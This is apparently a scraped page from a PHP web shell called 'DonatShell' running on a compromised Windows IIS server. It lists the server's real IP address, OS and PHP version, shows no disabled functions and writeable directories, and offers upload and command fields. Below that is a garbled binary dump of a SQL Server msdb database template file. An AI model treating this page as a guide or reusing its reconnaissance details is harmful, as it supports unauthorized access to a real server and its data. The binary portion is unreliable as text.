DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.216
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/Templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/Templates/msdbdata.mdf
ck^ce01./3==M]]]]]]]mmmw3,6|=G/6*
Hc.N}MSDBData01./3==M]]]]]]]mmmw3,6|=G/6*
Hc.N}MSDBData01./3==M]]]]]]]mmmw3,6|=G/6*@
Hc.N}MSDBData1./3==M]]]]]]]mmmw3,6|=G/6*
Hc.N}MSDBData01./3==M]]]]]]]mmmw3,6|=G/6*x
Hc.N}MSDBData01./3==M]]]]]]]mmmw3,6|=G/6*
Hc.N}MSDBData01./3==M]]]]]]]mmmw3,6|=G/6*p
Hc.N}MSDBDatac^ISDDDDDDhdp`tp`p``p``pp`@@@H@@@@ap`p```p`p```p```p`````p@@@@@@@@@@@@@HH@hp``p`p`pp`pp`h`p`p`p`p`p`phphp`p`p`p`````p``p`p`p`p`php`ppp``p``p```p``p```````p`p``p````ap```p`p`````hh`p`p```````````p`p`db``@@@@@@@@``````p`@@@@@@@@``````dd@@@@@@@@@@@@@@@@@@@@@@@@c``ddc``````````@@@@@@@@DCDDDDCD`h`````h@@@@@@@@@@@@@@@@CDDCDCDD@@@@@@@@@@@@@@@@````````@@@@@@@@@@@@@@@@DDADDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DADADACD```p```p@@@@@@@@@@@@@@@@@@@@H@@@@@@@@@@@@@@@@@@H````````@@@@@@@@@@@@@@@@@@@@@H@@DDDDDADA@@@@@@@@p```p``p@@@@@@@@@@H@@@@@@H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DADBDDDD```ap`p`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@p`bpdap`DDDDDDDDpdbdddd`DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDBDDDDBDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDBDDDDDDCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD```p`p`p@@@@@@@@`p`p`p`cpd```p`p`p`p`p`p@@@@@@@@`p```````h````p`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@H@@@@@``p`h`p`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@pdb`p`p`CDDDDDDD@@@@@@@@p`p````p@H@@@@@@@@@@@H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDBB`p`p`p`p```````p`p`p`p`p`p`p`p`p@@@@@`p`p`p`p```````h@@@@@@@@H````@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@`Zc]9
^8`	ZcVF!^8`Zc]D^8@ @ @ @ @ @ @ @ `Zc^8`
)@yeE50Whttp://www.w3.org/2001/XMLSchema0%anyType0jeX1anySimpleType0tZN#string0%boolean0m!float0C#double0:=	%decimal0xS
'duration0CSZ'dateTime0vtime0ez
date0=0+gYearMonth0p9{!gYear0*)gMonthDay00gDay0T#gMonth0o)hexBinary0x/base64Binary0Gj5#anyURI0v!QName0jY'NOTATION0sM"7normalizedString0M!token0a~'language0v	Name0t9#NCName0$ID0¢!IDREF0uh#ENTITY0I %NMTOKEN0UL!%integer05 ";nonPositiveInteger0
#5negativeInteger0g
$long0tw%int0s=&!short0ez^'byte05a(;nonNegativeInteger0Z)/unsignedLong0uA/*-unsignedInt0+1unsignedShort0z,/unsignedByte0rO-5positiveInteger0aQJ.#IDREFS0wX/'ENTITIES0Q0'NMTOKENS01http://schemas.microsoft.com/sqlserver/2004/sqltypes0n	2_http://www.w3.org/XML/1998/namespace0&U3/xmlSpaceEnum0If,=41sqlDbTypeEnum0Sb5AsqlCompareOptionsEnum0c6AsqlCompareOptionsList00z7char00z8!nchar0{,9%varchar0,:'nvarchar0t|;text0r|<!ntext0o=)varbinary0oz؝>#binary0s?!image0KJ@)timestamp0_A7timestampNumeric0MB%numeric0btC#bigint0z}D'smallint0:;E%tinyint0Fbit0pYGreal0CS^H'datetime05In5I1smalldatetime0J!money080K+smallmoney07L7uniqueidentifier06Mxml0-N'dbobject0gw
Olang0q>P!space0yXQbase0C}YR)sqlDbType0q+S-clrTypeName00T)maxLength0@U'localeId0v~V9sqlCompareOptions0V_W=sqlCollationVersion0zX)sqlSortId0bvx<Y!scale0Z)precision00[=xmlSchemaCollection0gI\/sqlTypeAlias0)])datetime20#^3datetimeoffset0@c4_microsoft.sqlserver.types, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0r>g`	microsoft.sqlserver.types, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0Fa-hierarchyid0`b1base64Encoded0)cEsupplementaryCharacters0 Cd9DataCollectorType0:eOPerformanceCountersCollector000f=PerformanceCounters0eŹg%Objects0h'Counters0U=Ti)Instances0QtsjKStoreLocalizedCounterNames0:k;TSQLQueryCollector0|yl!Query0:;lm!Value0:rٸn-OutputTable0!ho)Databases0Cp'Database0s2
q;UseSystemDatabases0KEr7UseUserDatabases0_8s9SqlTraceCollector0\lt#Events0su)EventType0pw^v!Event04wid0v
xname0tqy-columnslist0=bz%Filters00{#Filter0|]|'columnid0}+columnname0U~M~7logical_operator0n=comparison_operator0:;l!value0#-use_default/=h\I		P
q
 Y
=5{1
ull
		
l;
J
-
>	R
V]`CAl5
e	V
K#Lyk$}@-h

H||6Is
c@	_Aql@u\{KZmsdb                                                                                                                                                                                                                                                        nPF_A#_A#4a fyJ{J= fyJ{J=cKZ4̓(2HU޶:;QC`
Z,
@Fԋ^28`
@}TTTTTT	T
TTT
TTTTTTTTTT T!TdTeTfTgThTiTjTk Tl!Tm"Tn#To$Tp%Tq&Tr'Ts(Tt)Tu*Tv+Tw,Tx-Ty.T/T0T3T4T,5T-6T.7T/8T09T1:T2;T3<T4=T5>T6?T7@T8AT9	T:BT;CT<%T=DT>ET?FT@TAGTBHTDITEJTFKTGLTHMTINThOAPAQARAiSAjTAkUAlVAmWAnXAoYApZAq[Ar\AsM||N}}
TJTK]TL^TMaTNbAtcAueETMfETgAhAiAjAkE	T

MlET

MmEnEoETMpEqArAsETMtETMuETMvE T!!wA!"xA!#yA!$wA%xA&zE'T((M)){E)*T++|A+,}A+-~A+.A+/A+0A1m


~
g
P
"
j<9
S
%+
V?(


p


B

Y
\	
					s		ybKE	.			v_H14eN7	hQ:# |kT=&nW@)qZC,t]F/w`
Z^ 8`
Z
Ə^08`<-V)I_0-XvIvalidation0-Xv88
Onext_fragment0-Xv
88
Ofragment_size0-XvSfragment_bitmap0-Xv@[binary_message_body0-x00Astatus0-x00Epriority0-xQjqueuing_order0-x$$_conversation_group_id0-x$$[conversation_handle0-xcmessage_sequence_number0-x$$Imessage_id0-x88
Smessage_type_id0-x	88
Iservice_id0-x
88
[service_contract_id0-xIvalidation0-x88
Onext_fragment0-x
88
Ofragment_size0-xSfragment_bitmap0-x@[binary_message_body0-<8z00Astatus0-<8z00Epriority0-<8zQjqueuing_order0-<8z$$_conversation_group_id0-<8z$$[conversation_handle0-<8zcmessage_sequence_number0-<8z$$Imessage_id0-Xv==]message_enqueue_time0-x==]message_enqueue_time0-gw4K@proxy_name0-gw00E@enabled0-gw4M@description0-gw4U@credential_name0-gw88
Q@credential_id0-gw88
G@proxy_id0-~x88
G@proxy_id0-~x4K@proxy_name0-	sy88
G@proxy_id0-	sy4K@proxy_name0-	sy4U@credential_name0-	sy88
Q@credential_id0-	sy4G@new_name0-	sy00E@enabled0-	sy4M@description0-.gzUI@group_sid0-.gz88
Y@role_principal_id0-.gzUI@login_sid0-=Uw4K@alert_name0-=Uw4Q@operator_name0-vIx	4M@object_type0-vIx4?@name0-vIx
4I@enum_type0-vIx00]@notification_method0-vIx4M@target_name0-=y$$C@job_id0-=y4G@job_name0-=y88
K@session_id0-Lx4K@queue_type0-y4Q@contract_name0-y4O@message_type0-y4E@request0-y4K@attachment0-y4_@prohibitedextensions0-v$$S@parentfolderid0-"w4?@name0-"w$$G@folderid0-[x$$G@folderid0-y4?@name0-y$$G@folderid0-w88
I@server_id0-w4M@server_name0-w4M@description0-1x88
U@server_group_id0-1x4G@new_name0-jy88
I@server_id0-jy4G@new_name0-)z88
[management_facet_id0-)z4@=name0-)z88
Qexecution_mode0-)z88
]jmanagement_facet_id[0-ix4=name0-ixbbPPOcurrent_value0-yRz4=name0-yRzbbPPOcurrent_value0-@w88
Kobject_type0-@w4Oproperty_name-OzhhK@proxy_name0-vO|4S@subsystem_name0-vO|4?@name0-C}88
G@proxy_id0-C}4K@proxy_name0-7~88
G@proxy_id0-7~4K@proxy_name0-7~88
O@subsystem_id0-7~4S@subsystem_name0-/+4K@login_name0-/+4Y@fixed_server_role0-/+4I@msdb_role0-/+88
G@proxy_id0-/+4K@proxy_name0-=Uw4K@alert_name0-=Uw&]VT_h)w.
{
*
CZz	|)BKD{6N
g(/\Ej
w
2
	?t)	-	G`
Z	^%8`p`@H4wb-W"")),,.*.)1122336677:<<<<@@AACD DEGH"I$JJKKNZ
[
\]^'^&_0_/`4a"")),,.+223366:@@CEJJKKNZ[]_1`5a"".,22CE_2`6"".-bbbbCDE	F`G
H
I
9JKL=
MNOAP;;RRUU77VVVVVVWWWQR>>??PP888800//--99******++++TTYYYYOO			STUVWXZ[]^`b c"e#f$g&j&k'l(m)n+p,q-r.s0u1v2w3x5z7~77}89::;=>@BCEGHJKMNPRSTUVWXYZ[\]]]^^^_```aabbbcccdeeefghiiijklopqrstuvwxyz{|}~	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJ+nYD/r]H3	va7L"
zeP;&~Ti?*mXC.q\2Gu`K6!ydO:%}hS>)WlB-[pF1t_J5 xcN9$|gR(=






k
V
A
,


oZE0f	j@U+r]	H3	
	nva^L7"

ze

P;	&
Y/~iT?I<	'	4	s*mXC	{	.b
	#
8
qM
\
w
G2	

DQ	u`'~ _Aa79YY99YYF	9OO)&9j	
N69X\99IE9#9	0,9999+99!91*99SO9"
9999""D09))-9**
9++
. 9,,8%9--
9..
-9//F900Fa911r 
922#
E19336"966;'977988O*999F	9::	/'9;;9<<u9>>pl9??
LH9@@6#9AA 9CC9DD) Z 9EE9GG# 9HH639II#9JJ|9KK9NN$!9PP`9RR749TT+$9UU
9VV) 9WWW9ZZW9[[i!9\\pW9]]Vc9^^|z09__	V(9``
?!9aa9bbF	 99F99"	99""
9))F
9**9++9,,
9..	922#
	933D
966D	9779889::
9@@
9CC	9EEF9JJ|9KK9NN9VV	9ZZ

9[[9]]V

9__	9``	9aa
9bbF99D"ag99""
9**Fac9..922#
	9CCF	9EE	9VV 9__)+9``F%+
9""

9..)+9u\{F
\L9u\{B4:179|F309	|F9
XvF4l19XvF28/59xF4l19
xF28/59<8zF4l19<8zF28/59x}F+.(+9		>90)9"UF28/5hp2x:BJRZb$j,r4z<DLT\d&l`.

t
6
|>F

N

		V		^ f(n0v8~@H
P*X
ZH+F^8`6A.(U8;6

6
8
6
8	
6

6
8
6
8 
6
4$
6
4&
6		
8(	
6


8,

6
80
6
44
6




6
60
68

68
68
68
64
6
6		K0'	
6

K0(

6K4)
6K8+
6

K4/

6K41
6K43
6K
6K
6
60
6

68
64
6
6!
6'
6		-	
6

5

6=
68
64
64

64

685
6	0
6	
6	

6	8
6	b
6	@
6*4
6*		4	
6*



6+8
6+4
6+4
6+4
6+8
6+=
6+4
6+8
6+		8	
6+

8

68
68
64
68
68
68
68
68
68
68
68
68
68
68
68
68
68
60
60
6		8	
6

8"

68&
64
6

4

6
*
6
4
6$>
68N
6
R
6
\
6
f
6
p
6
z
6

6

6$
6=
6

6

6

6$
6

6   
6!!$!
6T8
6T=
6T8
6T4
6T$
6|85
6Y8
6Y8
6Y
6Y
6Y
6Y
6Y
6Y8$
6Y		4(	
6Y

p

6Y=)
6Y=1
6O8
6O

6O8
6O
6O=
6	0
6	
6	

6	8
6	b
X

		p	6	Nf,
~D
\"t:Rj0H`EP0_AӉEEE  EE[[\EefE""tu979E))kolWUYE,,2
E11E22KKLE33E66|}
E77E<<+	E@@WWXEAAEJJabEKKgh!E]]^E""vw,*1E,,""IE22MMNE33E66~E@@YYZEJJcPdEKKi	jE__`E""xy,*1E22OOPE""z9{E<<-LQE))-+1EEEE!EnEbb#!)Ebb!EEEE;;ERREUUE7747EEVVEVVEVVEWWEEE>>E>>E??E??EPPEPPEEEEE88E88E88E00E00E//E//E--E--E99E99E**E**E**E**E++E++E++EEEEEEEETTETTEYYEYYEYYEOOEOOE		E		E;;ERREUUE77447EEVVEVVEVVEWWEWW		7	\.{
8]	WZ64Y~
S5
|9X^2:
1yU_;
[
/
TR`

ZUI
^8`
Z
^8`<iOW)4`0<J$	{9\rrj?L;3:Ta:AD@?@!qy&=Tk#:Qh	 7Ne|		4	K	b	y						

1
H
_
v





.E\s+BYp
(
?
V
m






%<Sj"9Pg~6Md{3Jax0G^u-D[r*AXo'>Ul
$;Ri
??0A?@@@@@?@@@@@?@@@@@@	@@?
@?@@?@@@@?@??@@@@@?@@@??????????@?!???<???^???d???f???h???j???l???n???p???r???t???v???x???????@@????,???/???1???3???5???7???9???;???=???????A???D???F???H???J???L???N???|@??@@@@@@@@@@@@@@@@	@@?@?@?@?????@@?
@@?
?@?@?????@@?@@?@@?@@?!???#???%@@?(@@?+???-???/???1??????;???E???_???i???£@??b@@@?@@@?@??9K???	c	???B
@@??'@@@?2
@@??k???_<M???nV???jv?@@?@@@??%@@@@@@y	@@??^?@@R@@???
\@@????]>@@@?Qh#???6x???~`???T???H@@@@?;???K@@@?%`{???
p@@@?@@@?@?|@@@?$ @? ???!???+"??? "???*i$???~}<%@@??Y'???n'@@??SM(@@??(@@??B)@@?%'W)@@??<6*@@?^KK*@@?Fk*@@??`*+@@?o?+@@?(k_+@@?Ru+???-???/???)3?@@?aV/8@@??z#9?@@?*<@@??c~=@@@?S>???m?@@??8@@@@?BB???B@@@?#`D@@?3D@@??Ǐ<G???EG@@@?úH@@@?I@@?I@@?rJ@@?J?@?DL@@@?iL?@?>N@@?N@@??FpP@@?P?@?<YR?@?aT?@?!W@@??uW@@??G:Y@@??^Y@@?;dOZ?@?\@@@?^@?g3_@@@?zb?@?/Utg@@@?j?@?L
9l@@??.-m?@?r?@?2`Xu@@?v@?Xv@@?x@@??(y@@?<8z?@@?|@@@?Nc}?@?K??	`@= ;?*@@@DX?r\C	`<)^?Oqa0<"$T
`h>WR0<"$RZ[EE??@D?lt@D?LZS@\?`@E0<"$!
/^>=
<=
<9ssANE@?@
"9Pg~6Md{3Jax0G^u-D[r	*	A	X	o							
'
>
U
l







$;Ri
!8Of}

5
L
c
z




2E?@?w!??\1i????jn@?ǎ@?֣??W@A?|*6@?N]?	@?	c	 A?
@?\@?/
@@?P"@?_<M??"U@@?Z@?e!@@?@?@?mR??@?$PA?x.P??El?? A?z@?'??S-rA?A??N@?" A?]!@?]($??EYH$@?5&@?Dڎ'@A?'@?,)A?,@@?D0@@?cT1??4??4@?Gr5??,5@?aV/8??9@?':@?ҕ;??ε;??T<@?~<??=@@?I>??f_?@?Z@@?A@?A@@?wB@?C??(C@?UGTE@?s{F??F@?X\G@?0H@?*eH@?~H@? 
K@?*BK@?bcL@?dM??nJM??VM??O@?eQ@@?>R@@?.HS??fS@?V@@?ΞV??V??rW@?X@?@[Y??J~[@?\@?ր]??d]@?.^`A?4_@?vM`A?Eb@?wd@?e@?e5`f@@@@@@Pj@@?=yk`A?@4m@?Z>p??r??s??2`Xu??\ju??u@?@w??˿w??ix??y??)z@A?S{@?ro|0A?K`7\8@tO?@$@X'[@	G@7?,@ԉ@@>@0<"$P
/^??NE?NE?Z[(@R?L@$@&9 <LZS@\?`@@?N@?Z@A?[@?\@?]@?^A?_A?`@?apA?XvpApApA<8z0<)$H#~h.0'0<) "0<* "0<*"0<*"0<+ "0<+"0<" "0<"$\LZOO??B?$B?O0<" "0<"$f\LZOOL>@B@(=Rg|@?IT??PKB?S @@?SQ@?U 
((ITS @O0<"$RZ[EE??@D?lt@D?LZS@\?`@E88
	clust0R%)~clust0R
)-88
	clust0R^psysserefsclust	phllllllllllllll@hn*`
<J	·!0<$	?ى=%I=$A`A@$A@g8Ph40??0??0???3	@0???3	@0?@?3	@0???3		@0??3	tgIKC'b0<$	?6W=6W=6W=6W=6W=AA?@@@@@8$??A?0< "0<"0< "0<$xZxx??B?RZB?G((G@x0<$xZxx?@B@>'??CO  B?SL  ((CO  SL  @x0<$xZxx?@B@'B?x0<$xZxx?@B@>F'B???x0<$xZxx?@B@'B?x0< "0<$Z??`A?8s{$ A?R@?S
((RS@0< "0<$Z?`A`A/7

((0< "0<$Z?`A`A$xZxx?@B@'B?x0< "0<$P	xZxx?<@@@B@.E\s+BYp(?Vm%<Sj"9Pg~6Md{?????????????!???#??$??+???-???/???1???3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[???]???_???a???c???e???g???i???k???m???o???q???s???u???w???y???{???}?????p???r???t???v???x???z???|???~???????????????x0< "
f	OeGC!`</O	)a!0<$	~	NN?!
R<>>ABAz&A\w4Oj'B]x5Pk
(C^y6Ql)D_??????????
???????????"??)??,??.??1???3??6??7??:??<??@??A?@?E?@?I???K??L??N??Z???\???^???`??a?????)??,??.??2??3??6??:??@??C??E??J??K??N??Z??[?@@?a????"??.??2??C??E??_??`??"??.??????????0<"0<$	YY>8<8<AB?AAT,@A?B?@@?0<$x	?%I=@`A@@Wn??????????@???@??@?@?@???	@0<$I	?%I=%I=

A`AA@h6c3P0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??#public0??sys

((>db_accessadmindatareaderwriterenydatareaderownerguestpublicsys@@%++05;0< "0< "0< "0< "0<"0<"0< "0< "0<"0< "0< "0< "0<$Z??@?$@?0< "0<$Z??@?8@$????0< "0<$
T\?@@@>F'????PZ
awU3eC!w<DB<<
$	L>!
R<ՠ:LL@ADA@d
`{8Sn+Fa|9To,Gb}:Up-Hc~	 	;	V	q						
.
I
@?A?0A?@?pA?
A? A?@@?A?@?0A?"A?)A?,A?.@?1PA?2@A?30A?6@?7A?:@?<A?@@?A@?CA?D@?E@?G@?HA?I@@@KA?L@?N@?Z@A?[@?\@?]@?^A?_A?`@?a@?@@@)@?,@?.@@?2@?3@@?6@?:@@?@@?C@@?E@?J@?K@?N@@?Z@?[@@?]@?_@?`@?a@?@?"@@?.@@?2@@?C@?E@?_@?`@@?"@?.pA?@?pA?@?pA?@?`<
0<$	~
NN?!
R<>>ABAz&A\w4Oj'B]x5Pk
(C^y6Ql)D_??????????
???????????"??)??,??.??1???3??6??7??:??<??@??A?@?E?@?I???K??L??N??Z???\???^???`??a?????)??,??.??2??3??6??:??@??C??E??J??K??N??Z??[?@@?a????"??.??2??C??E??_??`??"??.??????????0<$@

YY?8<@@ABA6Ql)D_z7Rm*E`{8Sn+Fa|9To??????????
???????????"??)??,??1???3??6??7??<??@??A??J???L?????)??,??2??3??6???J??K????"??2??"??<??????????????
????
????????@??@@????? ???$??&??'?@?+???-?@?1??2?@?6???8???:???<???>???@???B0< "0< "0<	 "
\`TTTTT|(`X`
DH(((((d}}}}`XH
,0L`XTTTT0
\\\\\				4`X
VVVVVMMMMM`X
h`'''''Xrrrr
JJJJJhlP`VVVVVX
˸PTOOOO8`BBBBBXh
^^^^^8~~~~~<++++ h`XEEEEP
Ȉ $P`XSSSS8
lpٌ8`X p
TCCCCXt<  `X`(xLp0l<LZ
`<N	,Bi&a=0<$P	xZxx?<@@@B@.E\s+BYp(?Vm%<Sj"9Pg~6Md{?????????????!???#??$??+???-???/???1???3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[???]???_???a???c???e???g???i???k???m???o???q???s???u???w???y???{???}?????p???r???t???v???x???z???|???~???????????????x0<"$7	//?AL<##@<B@=/F]t,CZq)@Wn&??????????
???????????"??)??,??.??1???3??6??7??:??<??@??A?@?E?@?I???K??L??N??Z???\???^???`??a??u???˿w???y??<8z0<"$7	//??AL<AL<G}B<B?@A@<B?m	`<%^I)~0<]$	?p=p=		AA@@H_v???????.?@@?k???m???o???q???s??|0<]$	?=p=p=@AA@@@UXo'>@@?????f??p@@?q@?x????,???.??|??}0<_"0<_"0<_"0<`"0<`"0<`"0<a"0<a"0<b "0<b "0<^ "0<^ "0<^ "0<w! "0<w! "0<֣ "0<b "0<b "0<9K "0<9K "0<N]?	 "0<
 "0<\1i$t[L>A@A([0??3CacheDirectory0??-CacheWindow0??7CollectorEnabled0??-MDWDatabase0??-MDWInstance((6CacheDirectoryWindowollectorEnabledMDWDatabaseInstance	@	@#&.0<
 "0<
$y[?@?@'??0<	c	 "0<	c	 "0< "0<ǎ "0<ǎ "0<|*6 "0<` "0<^"0<^$o/^||?qc::A_D?@A$_D?|0<^$o/^||?@_D@>'A?INCPXD?SPVC6((INCPSPVC@4|0<^$To/^||>A_DA Kr0qC?+vWBz2m-0@?'{@]%k0D?+ ="P8ed`0A?'JH.zK-g|irectoryWindowollectorEnabledMDWDatabaseInstance	@	@#&.0<
 "0<
 "0<
$y[?@?@'??0<
$[? A?A+3 ??R{ώNdn0<P" "0<P" "0<mR "0<mR "0<	c	 "0<	c	 "0<_<M "0<_<M "0<_<M "0< "0<ǎ "0<ǎ "0</
 "0< "0< "0<|*6 "0<` "0<mR "0<mR$y\?@?@'??0<mR$z\?@?@'??0<^ "0L*	ZdB^<p,N
tR0cAvT2d
`	<TPY[0<x.P$Z????$??0<x.P$Z???0<x.P$Z???0<x.P$Z???0<x.P$Z???0<x.P$Z???0<x.P "0<]!$Z?@?@'??0<]!$Z?@?@'??0<x.P$Z???0<x.P	$Z?@?@'??0<x.P
$Z?@?@'??0<x.P$Z?@?@'??0<]!$Z????$??0<]!$Z???0<]!$Z?@?@'??0<]!$Z?A?A#+??0<]!$Z?@?@'??S0<&m1 "0<&m1 "0<_2 "0<_2 "0<3 "0<4 "0<j8 "0<j8 "0<j8 "0<9 "0<9 "0<': "0<': "0<(C "0<(C "0<(C "0<(C "0<AD "0<AD "0<F "0<F "0<~H "0<)?K "0<)?K "0<)?K "0<bcL "0<eQ "`>rP.b@tR0_u		k4
,`l  6MSDBData                                                                                                                        e:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBData.mdf                                                                                                                                                                                       BMSDBLog                                                                                                                         e:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\MSDBLog.ldf                                                                                                                                                                                        x`
Z
!@	J^8`B
,$"@*V&sys&xschema_collection_Performance Counters Collector Type&vschema_collection_Generic T-SQL Query Collector Type&rschema_collection_Generic SQL Trace Collector TypeirstIAM&groupid&id&impid&indid&keycnt&keys&lockflags&maxirow&minlen&name&)OrigFillFactor&pgmodctr&
reserved&reserved2&reserved3&reserved4&root&rowcnt&
rowmodctr&statblob&status&#StatVersion&used&xmaxlen&autoval&bitpos&cdefault&	colid&#collationid&colorderŊ&
colstat&domain&idŊ&languageŊ&length&name&number&offset&reservedl&typestat&
xoffset&xprec&xscale&xtype&xusertype&fileidio&filenamein&nameng&statusme&
uide&
status&
name&
sidt&
roles&
!createdate&
!updatedateyp&
altuidrt&
	passwordid&`groupida&`#allocpolicy&`status
&`groupnamet&id&number&colido&statusea&ctext&	idda&	granteeu&	grantors&	actaddgr&	actmodal&	seladd&	selmod&	updadd&		updmod&	
refadd&	refmodst&id&smallid&typegr&name&value&id&depidd&numberdd&depnumber&status&deptype&constidt&fkeyid&rkeyid&rkeyindid&keycntna&forkeysu&refkeys&ftcatid&name&statusr&pathus&!schema_ver&
-stats_schema_verid&typeey&userstatin&sysstatc&indexdeley&refdatey&versioni&deltrig&instrig&updtrig&seltrigr&categorysc&cache&maxlen&rowss_&statust&typexd&usertypeat&printfmtn&precri&scalet&!iscomputedg&!isoutparam&!isnullable&collationl& %tdscollation&texttype&languageer&encryptedn&	!compressed&
texte&depdbidt&depsiteidp&	selallis&
resultobj&readobj &fkeydbidab&	rkeydbidat&
fkey1b&fkey2l&fkey3&
fkey4&fkey5t&fkey6c&fkey7l&fkey8l&fkey9&fkey10&fkey11&fkey12de&fkey13ss&fkey14xt&fkey15bi&fkey16it&rkey1e&rkey2&rkey3&rkey4	&rkey5b&rkey6k& rkey7
&!rkey8&"rkey9&#rkey10&$rkey11fk&%rkey12ey&&rkey137k&'rkey14&(rkey15&)rkey16&

gid&
environ&
#hasdbaccess&

islogin&
isntname&
isntgroupk&
isntuser25&
issqluser&
isaliasedk&
issqlrolek&
isapprole!&2id&2schid&2nameey&2xtype1&2length12&2precey&2scalek&2#collationid5&2	status16&2
created&2modified&2dfltes&2
chks&Jclass&Jdepid&Jdepsubid
&Jindepids&J!indepsubid
&Jstatusds&Kclassr&Kdepids&Kdepsubidid&Kindepidl&K!indepsubid&Kstatusle&class&id&subid&grantee&grantor&typete&statei&auid&type&ownerids&statusdu&fgidub&pgfirste&pgrootde&!pgfirstiamat&	pcusedas&
pcdatad&!pcreservedK&rowsetid&ownertype&idmajor&idminor&numpartu&statusan&fgidfsan&rcrowspe&rowsetid&#rowsetcolidy&hobtcolidi&statusus&!rcmodified&#maxinrowleng&hobtidpg&status	&fillfact&!maxnullbitre&maxleaf&maxint&minleaf&minint&	lockres&
hobtid&
%hobtcolumnidfg&
statusrc&
ordkeyro&
xtype&
lengthdb\x\@ t\D8l P00|`L0hLhP8 lP4D(,,|`Dl|8T`$
|@




dx<tT4H0`$\@xH 	<<	\	L0hlL0,lHpT4lH,xX8p|dH0|
4
h
T
L,

p

`tb
Z#@b|^8`
lZ$EK5d&vhttp://schemas.microsoft.com/SQL/ServiceBroker/Error&~http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog&http://schemas.microsoft.com/SQL/Notifications/QueryNotification&http://schemas.microsoft.com/SQL/Notifications/EventNotification&http://schemas.microsoft.com/SQL/ServiceBroker/DialogTimer&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRoute&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRoute&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRemoteServiceBinding&	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRemoteServiceBinding&
http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho/Echo&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Query&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Status&
http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Description&DEFAULT&http://schemas.microsoft.com/SQL/Notifications/PostQueryNotification&http://schemas.microsoft.com/SQL/Notifications/PostEventNotification&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic&DEFAULT&http://schemas.microsoft.com/SQL/Notifications/QueryNotificationService&http://schemas.microsoft.com/SQL/Notifications/EventNotificationService&http://schemas.microsoft.com/SQL/ServiceBroker/ServiceBroker&t{//www.microsoft.com/databasemail/messages}SendMail&{//www.microsoft.com/databasemail/messages}SendMailStatus&~//www.microsoft.com/databasemail/contracts/SendMail/v1.0&4InternalMailService&4ExternalMailService&>syspolicy_event_listener.
.@/X/ج1\0.0@0/`^^^^^XGĹj1bp0/
33333/@ffff0@0<mD1/t1
H(1p0`X;Ĺj1bX10
0@@1(1:::::l,20oooo
_2X1`X&Ĺj1b@21
t124t/D1\01;;;;;;4< {kkkk32DHͨ/g
gggg
>22223 3Pcx393@04systypes 3					@0jj4systypes\\\\?< @?a`MMMMMX X

	$	h6
B
0`p`6TrW%	 { 0;4;4===GAutoCreatedLocalLOCAL8`h&	0n`
